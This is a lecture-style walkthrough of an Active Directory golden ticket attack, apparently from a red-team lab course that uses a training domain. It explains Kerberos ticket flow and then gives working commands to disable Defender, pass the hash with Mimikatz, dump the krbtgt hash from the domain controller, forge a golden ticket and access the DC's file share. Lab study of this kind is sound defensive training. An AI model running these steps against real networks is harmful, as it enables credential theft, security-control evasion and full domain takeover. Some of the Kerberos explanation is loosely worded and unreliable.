Domain dominance, Golden ticket attack - Part 3

In our last lecture we achieved domain admin privilege. Now we will see some persistence mechanism that we can do when we have domain admin privilege. 

Lets see how kerberos works:

1. Client sends his/her’s timestamp to the kdc-key distribution center or dc. The timestamp is signed and encrypted with the ntlm hash of the user password. This is to prove that the user who is sending the request is actual user. This is called AS-REQ.
2. The DC receive this request and decrypt the hash. How can dc decrypt that? Because dc has the ntlm password hash of all user. Now dc will generate a TGT and send it to the user. This TGT is signed by DC’s special account hash which is called krbtgt. No system can decrypt this hash except the DC. Then it sends this to the user. This is called AS-REP.
3. Now client receive the TGT but it cannot decrypt it because it does not have the krbtgt ntlm password hash or krbtgt rc4 password hash, which only dc has. So client sends this TGT back to dc along with specifying that which service client want to access. This is called TGS-REQ. Client want TGS ticket of the service that it want to access from dc.
4. DC receives it decrypt it using its krbtgt ntlm password hash and come to know that which service the client want to access. This is the only validation that is done here for up to 20 minutes. If dc can successfully decrypts it then it assumes that whatever the request the client has made is valid. Then dc create the TGS ticket and encrypt it with the password hash of that service account that client want to access. Then send it to client. This is called TGS-REP.
5. Then client present this ticket to the server where the service is hosted. This is how the total process works.

Almost every steps of this workflow is abuseable.

Golden ticket attack:

A golden ticket is signed and encrypted by krbtgt account hash of dc which makes it a valid TGT ticket. We can use any user to impersonate as user validation is done once the TGT is 20 minutes old but its better to use real account. The krbtgt account hash can be used to impersonate any user with any privileges from a non-domain joined machine. Single password or password change has no effect in this attack. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin. 

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

or

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Now you will get krbtgt account hash. 

Now go to any machine or your studentadmin machine where mimikatz script is present (also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /krbtgt:<krbtgt account ntlm hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Now you will get the golden ticket. Give klist command to see that. 

Using that ticket access cifs service:

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

You will get access.